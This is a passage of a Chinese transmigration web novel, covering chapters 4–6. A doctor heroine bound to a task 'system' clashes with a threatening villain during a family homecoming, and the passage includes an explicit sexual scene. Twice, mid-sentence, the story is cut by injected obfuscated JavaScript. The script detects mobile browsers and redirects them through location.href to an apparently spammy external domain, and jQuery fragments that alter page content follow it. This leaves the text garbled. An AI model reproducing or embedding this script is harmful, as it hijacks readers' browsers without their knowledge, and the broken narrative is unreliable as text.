傍晚,夏笙月带着斗笠面纱来到一家医馆,许是到了晚上,安神堂的人并不多。
夏笙月一进来,老郎中赶紧迎上去:“钱姑娘,你可来了。”他指了指坐在角落的几个人,“他们是专门来找你的,等了一下午了。”
夏笙月有些不好意思,赶紧坐下问诊。
至于她为什么会来这家医馆工作,因为系统告诉她,她在这个世界挣的银子可以带回现实世界,所以她就干起了老本行,作为中西医结合的高材生,帮人把脉解决一些疑难杂症简直手到擒来,甚至老郎中不能解决的问题她也能轻松处理。
她一个月前来到这家医馆工作,挣的银子和老郎中五五分,她医术高超,不过半月,长街上的百姓都知道安神堂来了一位神医,纷纷慕名而来,医馆的生意也日渐有了起色。
她把完脉,写下最后一张药方,问系统:[统统,你上次说这个世界的银子带回现实世界有汇率,汇率是多少?]
系统像是刚睡醒,声音困困的:[天机不可泄露,我有些困了,先休息会儿。]
夏笙月有些无语,就这还天机呢。
她起身去后院洗手。
在她进去的瞬间,一位身穿黑衣头戴黑色斗笠的男子推门而入。
老郎中问他:“公子是看病还是抓药?”
男子声音冰冷:“看病,听说你们这儿来了一位神医。”
老郎中立刻就懂了他的意思,连忙去后院叫夏笙月,夏笙月听到还有人来看病,愣了愣,她擦干手,起身走出去。
结果就看到了和她一样全副武装的男子。
她坐在他对面,两人中间隔了一张桌子,她拿出软枕放在桌上,让男人把手搭上来。
男人左手动了动,不知想到什么,换成了右手,骨节修长的手上血管根根分明,夏笙月将手搭上去轻轻按压,眉头越皱越深,忍不住抬头看了一眼面前的男人。
一阵穿堂风过,掀起男人的斗笠,黑纱轻扬,露出一截弧度好看的下巴。
她收回目光,有些惋惜,面前的人看起来年纪轻轻,可身体却破败不堪。
她收回手,谨慎开口:“公子这是中毒了。”
男人并不惊讶,问道:“可有解。”
夏笙月沉思一会儿,拿出一根银针挑破他的食指取血,弄清楚他中了什么毒后,她说:“你三日后再来。”
男人拿出一锭银子放在桌上,随即转身走了出去,直到黑色身影消失在门口,夏笙月才叹息一声。
噬心草不算剧毒,但他长期服用,毒已入心脉,不一定有解毒之法。
“老齐,毒入心脉可有解?”她问在一旁算账的老郎中。
老齐停下拨算盘的手,顿了顿,然后摇摇头,毒入心脉怎会有解。
夏笙月望着门口来来往往的人,总要试一试吧。
谢无洲走进一条无人的巷子,取下头上的斗笠,俊美的面庞苍白如纸,一抹血色染红双唇,他扶住墙角,大口喘息起来,等稳住心神后才往死人营走。
夏笙月回去翻遍医书,冥思苦想了许久,用上了毕生所学,还是找不到解毒的方法,她有些惆怅。
蜡烛燃尽,她又换了一根,然后翻着医书翻着翻着就睡了过去。
一觉醒来,就被告知夏明月和谢淮已经来了,让她赶紧去前厅。
夏笙月一拍脑袋,这才想起今日是夏明月回门的日子,她急忙洗漱,刚踏出门槛,她又有些犹豫,脑子里浮现出他们洞房花烛的景象,以及那晚她的所作所为。
莫名有些小尴尬,不知该怎么面对男女主。
4. 回门
一路上,夏笙月心事重重,靠近前厅,听见里面传来的欢声笑语她心思更乱了。
深吸一口气做好心理建设,刚准备抬脚走进去时,却瞥见屋里一抹熟悉的身影,吓得她立马转身躲到门后,双腿开始打颤,完蛋了,完蛋了,大反派怎么来了。
屋里的夏起道看到她,不明白这小妮子又在整什么,放下茶杯冲门口喊道:“笙儿,为何不进来?”
夏笙月脸上的表情比哭还难看:[统统,大反派在里面,怎么办?]
系统略一沉思:[要不跑吧。]
夏笙月:[好主意。]现在跑顶多被夏起道骂一顿,进去了那可就完了。
就在她蹑手蹑脚准备离开的时候,夏明月不知什么时候走了出来,亲昵的挽上她的手臂:“三妹妹快进来。”
夏笙月赶紧用衣袖捂住脸:“大姐姐,今日我身体不适,先告退了。”
屋内夏起道一拍桌案:“笙儿,有什么事进来说。”
夏笙月心里一片愁云惨淡。
众人看到她遮面的样子都不明所以,夏起道直接皱起眉头:“你这是干甚?”
夏笙月声音闷闷的:“今日脸上长了些红疹,怕吓到大家,所以以袖遮面。”
夏明月笑了笑,握住她的手,温柔道:“三妹妹,今日都是自家人,不用太拘谨。”
秦昭德也在一旁说:“笙月,把手放下来。”
大家都看着她,大厅一时针落可闻,夏笙月眼一闭心一横,慢慢放下遮挡的衣袖,她脸上确实有两颗被蚊子咬出来的包。
“三妹妹,我那里有清风玉露膏,等会让人给你送过来。”夏明月看了看她那两颗红疹说。
夏笙月“嗯”了声,低头不再说话,
厨娘开始上菜,趁着人多之际,她偷偷瞄了一眼对面的谢无洲,哪知刚好和他的目光对上了。
谢无洲依旧一袭黑衣,头发高高束起,长眉入鬓,饶有兴趣的盯着她,嘴角勾起一抹恶劣的笑,用口型跟她说了三个字。
“你、完、了。”
夏笙月看懂了,她低头双手攥住衣角,背后冒出一层冷汗。
看她这个样子,谢无洲挑眉一笑。
今日厨房做了整整十八道菜,一桌子的山珍海味,要是往日,夏笙月肯定喜欢的不得了,但现在,她实在是没有胃口。
饭桌上一片喜气洋洋,只有夏笙月头顶乌云,她扒拉一口米饭,觉得嘴里没味,于是伸手去夹面前的酱牛肉,可筷子刚伸出去,那块酱牛肉就被夹走了。
她一看,牛肉已经到了谢无洲的碗里,他还冲她挑衅的扬了扬眉。
夏笙月不跟他一般见识,转头去夹旁边的糯米丸子,结果又被他一筷子夹走,后面她不管夹什么菜,最后那样菜都会落到谢无洲的碗里。
她不干了,抢她吃的她实在不能忍。
大反派有什么了不起,她还恶毒女配呢,她才不怕他,于是抬眼看他,眼里有不服输的劲儿,就在谢无洲看过来时,她以迅雷不及掩耳之势夹起旁边的肘子塞进嘴里。
谢无洲看着对面的人,她脸颊被撑的鼓鼓的,活像一只小青蛙,他双手抱胸,往椅子上一靠,神情懒散:“夏三小姐这是几天没吃饭了,慢点吃,没人跟你抢。”
他这话一出,大家都齐刷刷的看向夏笙月。
夏笙月差点被嘴里的肉噎住,猛的咳嗽起来。
谢淮看了谢无洲一眼:“无洲,不得无理。”提醒他不要乱说话。
谢无洲连个眼风都没给他哥,一直盯着前面的夏笙月。
夏笙月有些难堪,好在大家也没有过多关注她。
她看向始作俑者,只见对方又盛了第二碗米饭,压根不把她放在眼里,她实在生气,这谢无洲真是可恶。
饭桌上,秦昭德贴心地为夏明月夹菜,谢淮给她剃鱼刺,夏起道喝的满脸通红,一直在跟谢淮唠家常。
今日谢淮和夏明月都穿了紫色的衣裳,莫名登对,夏明月容貌出众,紫色更衬得她皮肤雪白,谢淮本就生的俊美,举手投足间都是优雅贵气。
一对璧人就在面前,实在养眼。
但一想到他们新婚夜的酱酱酿酿,夏笙月收回目光,不忍直视。
再往右看过去,秦昭德下面坐着一位陌生的妇人,她样貌并不出众,手里还戴着一串佛珠,此时正安安静静的吃饭,并不过多打扰旁边一家三口的气氛。
这应该就是府里的赵姨娘,她自庄子上回来还没见过这位姨娘,赵姨娘看起来就是一副与世无争的样子,她旁边坐着夏宛月,夏宛月今日好好打扮了一番,比平日里多了一分气色,但是她的相貌随了赵姨娘,并不出彩。
夏沅月坐在左侧,旁边还有一个空位置,应该是梅姨娘的,只不过现在梅姨娘还在禁足。
夏沅月看着谢淮和夏明月两人,眼里的羡慕渐渐变成了嫉妒,凭什么夏明月能嫁这么好的郎君,她心里愤愤不平,转头看向另一边的谢无洲,这谢家二公子也是一表人才,仔细看,比谢淮还要俊美不少,不如……
她桌子底下的脚蠢蠢欲动,小娘跟她说过,想要抓住男人的心,就得先勾住他的魂。
她的脚慢慢向谢无洲的方向伸去,足尖轻轻蹭了蹭,眼睛一眨不眨的盯着他,观察他的表情。
谢无洲一愣,看着斜对面夏沅月略带勾人的眼神,他垂眸,眼底墨色翻涌。
手好痒,又想杀人了。
他不动声色的移了一下位置,夏沅月丢失目标,在桌子底下慌忙试探,重新找到之后她更加大胆起来,足尖直接从小腿慢慢移到大腿上,然后不断摩擦,眼神越发妩媚的看着谢无洲,把梅姨娘教她的那套发挥的淋漓尽致。
谢无洲筷子一搁,饶有兴趣的开始看戏。
夏起道脸色越来越黑,瞧着夏沅月一副陶醉的模样,他一把将横在自己身上的双脚大力推开。
夏沅月来不及反应,一个跟头栽到地上,摔得她直不起腰,嘴里一直喊着“哎呦哎呦。”
众人不明白发生了什么,只有夏起道脸色铁青的看着她:“你姨娘还没吃饭,你去陪她用午膳。”
夏沅月看着暴怒的父亲,就算她再傻也知道刚刚蹭错了人,一瞬间脸上羞红交加,再不敢在这里停留半分,爬起来慌慌张张的跑了。
秦昭德问夏起道为何突然生这么大的气。
夏起道气的吹胡子,只说了一句:“要是当初把沅儿交给你抚养就好了。”也不至于变成现在这个样子。
大家都吃的差不多了,丫鬟开始撤盘子,夏笙月打算先溜,可还没站起来就听见系统布置任务的声音:[任务二,请在后花园牵起谢淮的手。]
什么声音?
谢无洲修长匀称的手指轻点桌面,抬头巡视一圈,想要搞清楚声音的来源。
什么任务?什么牵起谢淮的手?
一圈看下去,众人脸色都很平常,只有夏笙月一副要哭的表情。
他盯着她。
可是许久之后再没有听到其他,只有刚刚那一句:任务二,请在后花园牵起谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488787|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淮的手。
究竟是什么声音?
夏笙月听到第二个任务,头都大了,谢淮都已经成亲了,她还要去牵他的手,这像话吗。
[统统,咱换一个好不好?]
系统严词拒绝:[上面发的任务,没办法更换。]
夏笙月惊讶道:[你上面还有大官?]
系统:[我们系统也是有等级的,一共有六个等级,第一等最高级,可以实现宿主的任何愿望。]
夏笙月赶紧问它:[那你嘞,你是第几级?]
系统有些支支吾吾:[六级,怎么了?不行啊?]
夏笙月差点没笑出来,原来是最低级的,难怪干啥啥不行。
不过话说回来,牵男主的手,这怎么完成嘛?容她想想。
看着大家都已经收拾妥当,夏笙月站起来提议:“大姐姐,你在后院栽的水仙花开了,要不要去看看?”
她内心有点忐忑,生怕夏明月拒绝,哪知夏明月兴致很高。
只有赵姨娘慢吞吞的站起来告辞:“我屋里的佛像还未上供,就不陪大家了。”说完又看向夏宛月,“宛儿,你陪小娘回去。”
夏起道摆摆手让她们先走。
等她们出去后,大家才开始往后花园走。
夏起道和秦昭德走在前面,夏明月和谢淮就跟在他们两侧,夏笙月只能无奈走在后面,身后不远处就是谢无洲,她加快脚步,想与他拉开距离。
结果下一秒,头上的小辫就被人抓住了,谢无洲玩味的声音在身后响起:“钱多多,嗯?”
夏笙月欲哭无泪,强装镇定的说:“什么钱多多?谢二公子你认错人了。”
“是吗?”
谢无洲将人带到假山后面,夏笙月被摔在地上。
谢无洲靠在假山上,低头,黑色发带扫过脸颊,垂落胸前,他居高临下的看她,眸色变得幽暗危险:“夏三小姐,我们之间的账该算一算了。”
夏笙月装傻充愣:“什么账?”
他蹲下身,略带薄茧的指尖挑起她的下巴,看她逐渐睁大的瞳孔,他唇边笑意更浓,说出的话却让人如坠冰窖:“你玩我,我杀你,将你剥皮削骨,好不好?”
夏笙月脑子“嗡”的一声,剥皮削骨,我嘞个青天大老爷,他顶着一张漂亮精致的脸怎么尽说些残忍的话。
她咽了咽口水,努力扬起一张笑脸,声音发抖,实在是怕死:“谢二公子,我真心喜欢你。”然后迅速抱住他的大腿一把鼻涕一把泪:“谢二公子,我人瘦,没有多少肉可以削,怕硌着您老人家的手,如果你不喜欢我喜欢你,我可以不喜欢你,你放过我好不好?”说完一脸真诚的看向他。
谢无洲嫌弃的看了一眼沾满泪水的衣摆,将自己的腿抽出来,离夏笙月远了些:“今日我不杀你。”
夏笙月破涕为笑:“就知道谢二公子最好了。”
谢无洲歪头,眼神戏谑:“明日再杀。”说完头也不回地往前走。
啊?
夏笙月看着前面那道挺拔的背影,高马尾在他身后一甩一甩的,看样子心情不错。
她握紧小拳头,对着他的方向狂挥几下,要是他明日真来杀她,她就给他下毒,大不了鱼死网破。
夏起道他们在后花园赏花,谢无洲站在桥上喂湖里的金鱼。
夏笙月坐在亭子里冥思苦想,这第二个任务究竟该怎么完成,目光看到不远处的池塘,池塘周围布满了青苔。
青苔、湖水。
她有办法了。
5. 夜访
夏笙月若无其事的走到湖边,湖里的荷花开的正艳,她朝夏明月招手:“大姐姐,你快过来看,这里的荷花好漂亮。”
谢淮也跟着夏明月一块来到湖边。
就在他们赏荷之际,夏笙月朝四周望了望,夏起道和秦昭德似乎是走累了,正坐在亭子里休息,谢无洲还是站在桥上喂金鱼,她偷偷摘下自己腰间的荷包,不动声色地丢到湖里,然后惊慌失措的拉住夏明月:“大姐姐,我荷包不小心掉水里了。”
夏明月让她不要急,找到一根树枝打算把荷包勾上来。
谢淮接过树枝,一手扶着树干,一手去够荷包,可脚下都是青苔,他不敢太往前。
夏笙月就在他旁边,只要他落水,她就有理由顺理成章的去拉他,这样也算牵了男主的手。
湖水并不深,只到人胸口的位置。
湖里的荷包因为水流的关系越来越远,谢淮又往前踏出一步,前面的青苔更多,他的鞋子是绸缎制成,打滑的厉害,尽管他已经很小心了,可还是脚底一滑,作势就要往前摔去。
夏笙月喜滋滋的伸手去拉,结果谢淮灵活的转了个身,抱住大树站稳了脚跟。
而往前扑去的夏笙月因为惯性直接栽到了水里,手也只碰到谢淮的衣袖。
“噗通”一声,水花四溅,压断了两束荷花。
湖水灌在鼻腔里十分难受,她急忙站起来,止不住的咳嗽,头上还顶了两棵水草,模样十分滑稽。
脚下都是柔软的淤泥,她一下子没站住,又跌了回去,呛了好大一口水。
就在她第二次站起来的时候,桥上的谢无洲弯腰手扶膝盖看着她:“哎,你右边有条蛇,左边有只青蛙。”
啊啊啊啊,夏笙月受不了了,她最怕的就是蛇和青蛙。
她拼命往岸上爬,夏明月和谢淮两人一起将她拉上来,她惊魂未定,转头看去,清澈的湖水里根本就没有蛇和青蛙。
她愤然的看向谢无洲,又耍她。
谢无洲弯腰大笑,像是看了一场笑话。
夏明月帮她把头上的水草取下来,又将她脸上的污泥擦干净,心疼道:“三妹妹,没事吧。”
“你身上都湿透了,先回去洗个澡换身干爽的衣裳,莫要着凉。”
瞧着夏明月关切的样子,夏笙月觉得自己的这个大姐真好,永远温温柔柔,善解人意,突然,她想到了刚刚拉住自己的谢淮。
夏笙月看了看自己的左手,逐渐喜笑颜开。
她成功牵到了谢淮。
系统:[恭喜完成任务,获得五点积分。]
看她一副落汤鸡的样子,系统憋住笑,忍不住出言调侃。
夏笙月不在乎:[能完成任务就好。]管他什么落汤鸡、红烧鸡、叫花鸡。
夏明月看到夏笙月盯着自己的手发呆,还一脸笑意,她以为这一摔把她妹妹摔傻了:“三妹妹?”
夏笙月回过神来,笑道:“大姐姐,我先回去换身衣裳。”然后跟其他人一一告别,看到桥上的人时,她哼一声,直接扭头就走。
谢无洲盯着消失在拐角的背影,脸上笑意全无。
中午日头太大,其他人都已回去避暑,只有谢无洲依旧站在桥上,他伸手挡住太阳,却发现自己手腕处的那条黑线又淡了些。
他立刻拉开衣袖一看,遂眯起眼睛,细细回想起来,好像每次遇到夏笙月之后自己身上的毒线就会变淡一些,难道真是因为她?还是巧合?
那自己今日听到的那个奇怪的声音又是怎么回事?
“后花园拉住谢淮的手。”
夏笙月让大家来后花园,然后设计想拉谢淮。
是不是自己第一次在谢府见她,她把谢淮拖出来也是在完成任务?可是自己为什么会听到那些奇怪的声音。
他要搞清楚这里面的关系,夏笙月,他决定先不杀。
至于今天勾搭他的夏府二小姐,他盯着地上缓慢爬行的毒蛇,残忍一笑。
……
夏笙月经过绿梅苑偏房的时候听到梅姨娘和夏沅月的声音从里面传来,她清楚地听到了自己的名字。
听到两人谈起她,那她高低得听一听。
把耳朵小心地贴在门上,就听见夏沅月发牢骚的声音。
“小娘,在夏笙月没回来之前,我是府里最好看的小姐,可是在她回来后,我发现自己不如她。”夏沅月声音有些焦虑,忍不住拿起桌上的铜镜照了又照。
她为什么要百般针对夏笙月,纯粹是因为她长得比自己漂亮。
梅姨娘安抚她:“她在府里孤立无依,没有自己的小娘,二郎也不疼她,她就是一个孤女,你跟一个孤女计较什么。”
“沅儿,你放心,有娘为你谋划,你一定能当高府的当家主母。”
她是妾,但她女儿绝对不能是妾。
梅姨娘眼里满是志在必得。
夏沅月捋了捋耳边的一缕头发:“小娘,今日大姐姐回门,谢府二公子也跟着来了,二公子生的俊美无双,女儿有些心动。”
梅姨娘脸色一变,不赞同道:“那谢府二公子爹不疼娘不爱,还经常混迹死人营那种地方,什么时候把命丢了都不知道,肃国公府的家业更是跟他没有半分关系。”
“而且娘听说谢家二公子这个人喜怒无常,品性不好,不是好人。”
听梅姨娘这么说,夏沅月也打消了心思,她可不能嫁给普通人,最少也要做伯爵府的正宫娘子。
看到女儿脑子转过来,梅姨娘很是欣慰。
屋里的谈话还在继续,夏笙月不想再听,她们两个无非就是在背后嚼嚼舌根,也说不出什么好话。
她回屋舒舒服服洗了个澡,换上一套干净舒适的衣服躺在摇椅上睡午觉。
这个中午,她做了一个梦,梦里她变成了一只青蛙,有一条蛇一直追着她跑,他追上来的时候,夏笙月才发现那蛇竟然长了一张人脸,和谢无洲那货一模一样,他张大嘴巴露出两颗獠牙,一把将她这只小青蛙给吞了进去。
太阳西沉,树影摇晃,夏笙月从摇椅上惊醒,额上覆了一层薄汗。
她拿起旁边的扇子扇了扇,怎么做梦都是他。
她站起来活动一下,准备去后院看看自己移种的葡萄藤。
葡萄藤已经成活,上面的葡萄也开始成熟,她把地上的杂草摘除,不知不觉又累出了一身汗,便再次打水洗了个澡。
天色已暗,半圆的月亮挂在天上,她推开窗户,瞧着天上的明月,思绪飘远。
深夜,听得见外面树上的蝉鸣。
一抹黑影推开了夏笙月房间的窗户,一个箭步跨了进去,进屋的时候不小心碰到了桌上的花瓶,夏笙月几乎立刻就醒了。
今晚夏明月和谢淮会在府里留宿,谢无洲估计也会在,所以她睡得不踏实,一点动静就能将她吵醒。
她从床上坐起来,看着大开的窗户还有旁边被碰倒的花瓶,直觉告诉她刚刚有人进来了。
她没有大喊大叫,而是打着哈欠下床穿鞋:“哎呦,睡前喝太多水了,现在去方便一下。”这话是说给屋里的人听的,想让屋里的人放松警惕。
她走到门边,连忙拉开大门,结果就看见谢无洲正坐在她屋前的台阶上,像是专门在等她一样:“夏三小姐,这么晚了你要去哪儿?”
夏笙月默默退回去,心里打鼓:“睡不着,现在回去重新睡。”说着就想关门,却被谢无洲直接抵住,月光落在他身上,像镀了一层金光。
“夏三小姐,不请我进去喝杯茶?”
夏笙月使劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488788|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关门:“不方便,大半夜男女授受不亲。”
谢无洲一使劲,夏笙月直接被一股大力往后推了好几步。
“我方便。”他说,说着就自顾自走了进来,还顺手点上了灯。
夏笙月还想跑,谢无洲冷不丁的声音从背后传来:“你现在跑,我马上杀了你。”
夏笙月只能窝囊的站在门口,离他远远的。
谢无洲坐在椅子上,朝她招招手,示意她过来。
夏笙月吓得直摇头:“谢二公子,我站在这挺好的。”
他“啧”一声:“要么你自己过来,要么我现在去请你。”
夏笙月咬了咬牙,双腿无力的走到他对面:“谢二公子,你说明天杀我,怎么提前来了,做人要讲信用。”她毒药都还没配出来呢。
谢无洲乐了,手指敲了两下桌子。
夏笙月很有眼力见的给他倒了一杯茶。
“你觉得我是来杀你的?”他问道。
“不然呢?”
谢无洲看着站在自己面前的人,她只穿了一件薄薄的纱衣,身材玲珑有致,就是瘦了点,此刻,她眨着水盈盈的眼睛望向他,耳边碎发濡湿地贴在脸侧,他竟有些……奇怪的感觉。
握着青釉茶杯,谢无洲嘴角勾起:“夏三小姐,我是来跟你花前月下谈情说爱的,你信不信?”
夏笙月狐疑的看着他,只要不杀她就行,他说什么就是什么。
谢无洲突然起身逼近她,唇边热气呼在她耳边:“夏三小姐愿不愿意跟我花前月下?”
耳边奇痒无比,夏笙月只能硬着头皮答应。
谢无洲却话风一转:“可是你喜欢的是我大哥,又怎么会跟我花前月下。”
她下意识反驳:“我没有喜欢谢淮。”
“哦?第一次见你,你把我大哥从新房拖了出去,第二次见你,你想尽办法牵我大哥的手。”
他笑了笑:“你这不是喜欢是什么?”说完盯着她,似乎十分期待她接下来的话。
夏笙月差点就说这些都是任务了,好在开口拐了个弯:“这都是误会。”
“到底是误会还是什么?”谢无洲一步步逼问。
身前压迫感袭来,夏笙月双手抵在胸前,阻挡他的靠近:“就是误会。”
谢无洲停住脚步:“行行行,都是误会。”
“走吧,我现在带你花前月下去。”
夏笙月一百个不愿意去,这大晚上的出去准没好事,但她又不敢得罪大反派,只能暂时屈服于他的淫威之下。
两人再次来到白天的后花园,这里静悄悄的,只有他们二人的脚步声。
谢无洲站在她身边,两人并肩而行,月光将他们的影子拉的很长,他说:“夏三小姐,这里有月有花,算不算花前月下?”
夜里温差大,加上北风过境,她冷的直打哆嗦:“谢二公子要不咱回去吧。”
谢无洲摇了摇头:“夏三小姐是不是不喜欢这样的花前月下?那我们去看看别人怎么做的。”
夏笙月还不明白他什么意思,就被他带到了一片花丛后面,透过朵朵花瓣,可以看到凉亭的石桌上有两道纠缠的身影。
仔细看去,竟是夏明月和谢淮。
女儿回娘家是要和夫君分开住的,但夏明月和谢淮都离不了彼此,于是趁着夜色又悄摸在了一起。
只见夏明月坐在石桌上,谢淮在她身前抱住她,两人衣衫半退。
谢淮腰身晃动,夏明月仰着头,嘴巴微微张开,表情似痛苦似享受,在他的逗弄之下,她终于忍不住哼出声。
夏笙月看呆了,真不愧是限制文,男女主在哪里都可以。
就在她震惊之际,耳边传来一道凉飕飕的声音:“夏三小姐可喜欢这样的花前月下。”
6. 招亲
“不喜欢。”
夏笙月偏过头,摸了摸燥红的脸颊,浑身上下像火炉一样开始发烫,奇怪,明明刚才还很冷,怎么现在热起来了,她用手扇了扇。
谢无洲坐在她旁边,因为出汗,夏笙月轻薄的衣衫贴在肌肤上,将她秀美有致的身形勾勒的一览无余,身上的薄汗在月光下更是波光粼粼。
他移开目光,抿了抿干涩的唇:“你回去吧。”
夏笙月一惊,停下扇风的手,仰头看他:“你今晚不杀我?”
谢无洲略一低头,就看到她寝衣下雪白的沟壑,上面还有一颗耀眼的红痣,他有些不自在,声音也变得沉重起来:“嗯。”
“那你明日还杀不杀我?”夏笙月想问清楚,不由得又逼近了一步。
谢无洲闭上眼睛深吸一口气:“你再不走我现在就杀了你。”
见他不是在开玩笑,夏笙月提起裙摆一溜烟的跑了,不一会儿就消失在花丛尽头。
谢无洲盯着她消失的方向看了许久,低头沉思片刻,再看向不远处的凉亭时,谢淮和夏明月还纠缠在一起,声音愈发大起来,石桌也开始哐当作响。
他轻蔑一笑,拿起地上的东西去了一个地方。
……
第二日清晨,夏明月和谢淮一大早就离开了夏府。
夏起道和秦昭德在门口送行,秦昭德拉起夏明月的手满脸不舍,悄悄扭头擦掉一滴泪,她这个大女儿从小到大最是让她省心,眼下做了他人妇,她还真有些舍不得。
夏明月安慰了她几句,看到谢无洲没有出来,于是就问谢淮:“二弟怎么还不来?”
谢淮轻搂她的肩:“今日一大早就找不到人,估计已经回去了。”他这个弟弟总是这样,神龙见首不见尾,行事难以捉摸。
听此,夏明月也没有再说什么。
等他们坐上马车离开后,夏沅月身边的贴身丫鬟白霜急匆匆的跑过来,一脸惊慌:“老爷,不好了,二小姐被毒蛇咬了,现下昏迷不醒,府里的郎中也没有办法。”
听到这个消息,夏起道一惊,连忙跑去夏沅月的院子,虽说昨日她有大逆不道的行为,但毕竟是他最宠爱的女儿,可千万不能有事。
秦昭德在后面追都追不上。
还没走进房里,就听见梅黎悲痛欲绝的哭声,眼下这个情况,夏起道也没责怪梅黎还在禁足期间擅自出屋。
梅黎看到他来了,一把扑在他怀里,双眼通红的望向他:“二郎,我们沅儿……”后面的话她没说完,只一个劲儿的埋在他怀里哭。
夏起道拍了拍她的肩,然后走到床边,只一眼,他就脸色大变。
床上的夏沅月浑身发紫,脸部更是肿胀的厉害,嘴里时不时吐出一口黑血,枕头都被染红了大半,加之吐出来的污血气味难闻,夏起道后退半步,问还在一旁把脉的郎中:“沅儿这是中了什么蛇毒?”
郎中眉头紧锁:“五花蛇毒。”
这种蛇毒性非常剧烈,如果在被咬之初及时处理或许还能救回一命,如若超过三个时辰,毒素便会迅速流遍全身,到时候大罗神仙来了也难救。
而夏沅月是在昨晚睡觉的时候被蛇咬的,她自己并没有察觉,早上醒来的时候才发现身体不适,这个时候蛇毒早就顺着血液流到了全身,想要救治,堪比登天。
但是,他收好药箱,对夏起道说:“听说最近安神堂来了一位神医,或许可以让她试一试。”
听到他这么说,夏起道赶紧让人去请神医。
梅黎抚摸女儿的脸颊,替她擦掉嘴角流下的黑血:“沅儿不怕,娘在这里。”
夏起道坐在一旁的椅子上,心里也是焦急万分。
整整一炷香的时间小厮才带来一个老郎中。
老齐年事已高,加上一路奔波,此刻气喘吁吁,连话都说不出来,缓了一下后才对夏起道说:“今日神医没有来,不过她留下好几种毒蛇的解药,老夫可以试一试。”
夏起道现在也没有别的办法,点点头,让老齐进来。
老齐看到床上的人儿时,不由得倒吸一口冷气,好好的姑娘怎么被霍霍成了这样,旁边的郎中告诉他是五花蛇咬的,他心里顿时有了主意。
只见他先拿出两根银针锁住夏沅月的心脉,防止毒入心脏,再从瓷瓶里倒出一颗红色药丸塞进她嘴里。
然后开始查看毒蛇咬伤的地方。
梅黎把夏沅月的裙摆轻轻掀开,小腿处赫然出现两个血淋淋的黑洞,老齐皱起眉头开始施针,片刻之后,他对屋里的人说:“现在小姐身上的蛇毒已经被我引到了伤口处,还需一人将毒血吸出来。”
他是男子,床上的小姐是未出阁的姑娘,他自是不能去做这个事。
闻言,夏起道错开老齐的视线。
只有梅黎一把扑到床边,想也没想就开始吸夏沅月体内的毒血,随着一口口污血出来,夏沅月身上的紫色渐渐淡去。
梅黎不知吸了多久,已然体力不支,但为了女儿,她不能倒下,吐出最后一口血,她终于瘫倒在床边,看着女儿渐渐正常的肤色,她释然一笑,值了,然后便晕了过去。
老齐防止毒素在她体内残留,也给她喂了一颗解药。
幸好钱神医留了好几种毒蛇的解药在药馆,不然他还真不知道该怎么解这个蛇毒。
“老爷,夫人,小姐的毒已解,往后几日要多注意休息,不可太过劳累。”
夏起道付了一锭银子,让小厮送他出去。
秦昭德走过来,百般不解:“好端端的屋子里怎么会有蛇?”蛇只有后花园那种地方才有,她在府里住了二十年,还从没见过蛇入屋。
夏起道示意她先出去:“你先回去,我来照顾她们娘俩。”
秦昭德没说什么,过几天她要去国子监探望夏正朗,正好趁这几天给儿子做一双新靴子。
……
夏笙月又睡到日上三竿,她在床上磨叽半天,最后才不情愿的伸了个懒腰,哼哼唧唧的起床。
系统:[你是我带过最懒的一届。]
夏笙月打了个哈欠,熟练的将系统拉入小黑屋,真是的,大早上扰人清梦。
她收拾妥当后准备去医馆,就在她欢欢喜喜出门的时候,又在院子里的墙头上看到了一抹让人讨厌的身影,她脸上的笑容立刻就消失了。
谢无洲坐在墙头,眉目含笑,只是这笑永远不达眼底:“夏三小姐,早啊。”
夏笙月也皮笑肉不笑的呵呵了两声:“谢二公子怎么还喜欢爬人墙头啊。”
谢无洲顺手摘下几片叶子,修长的手指翻飞几下,一只活灵活现的小蚂蚱就被他编好了,然后随手一丢:“接住。”
夏笙月也不敢不接,小小的蚂蚱拿在手里跟个火球似的,灼的她手心疼。
“夏三小姐,我在墙外等你。”说完不等夏笙月反应,直接跳了下去。
夏笙月看着一人多高的墙,想想还是决定走大门,哪知这时谢无洲的声音又响了起来:“夏三小姐,这里有个狗洞,你爬过来多省事啊。”
夏笙月怀疑自己听错了,竟然让她爬狗洞,她才不要。
“我数五声。”墙外是谢无洲催命的声音。
五秒钟都不够她走出这个院子,更别提走到门口了,她把手里的蚂蚱丢在地上,把它当做谢无洲狠狠踩了几脚。
该死的反派,等她集够一百点积分,一定兑现一个让他在这个世界消失的愿望。
真是气死她了。
虽然心里很气,但她还是从狗洞爬了出去,然后站起来拍了拍身上的杂草,脸上笑嘻嘻,心里骂咧咧:“谢二公子,您还有什么吩咐吗,没有的话,我还有事,我先走啦。”
谢无洲又伸手扯住她头上的辫子:“今日哪都不许去,就跟着我。”
他前两次都是见过夏笙月之后手上的毒线才会变淡,所以他昨晚又去找了她,但是回来之后毒线没有任何变化。
或许见她并不能让自己体内的毒素消失。
那就只有另一种可能。
昨日他听到的是任务二,他不知道这个声音是怎么回事,但是看夏笙月的行为,他知道这个任务是布置给夏笙月的。
和谢淮牵手,她成功了,所以他手腕上的毒线淡了一些。<
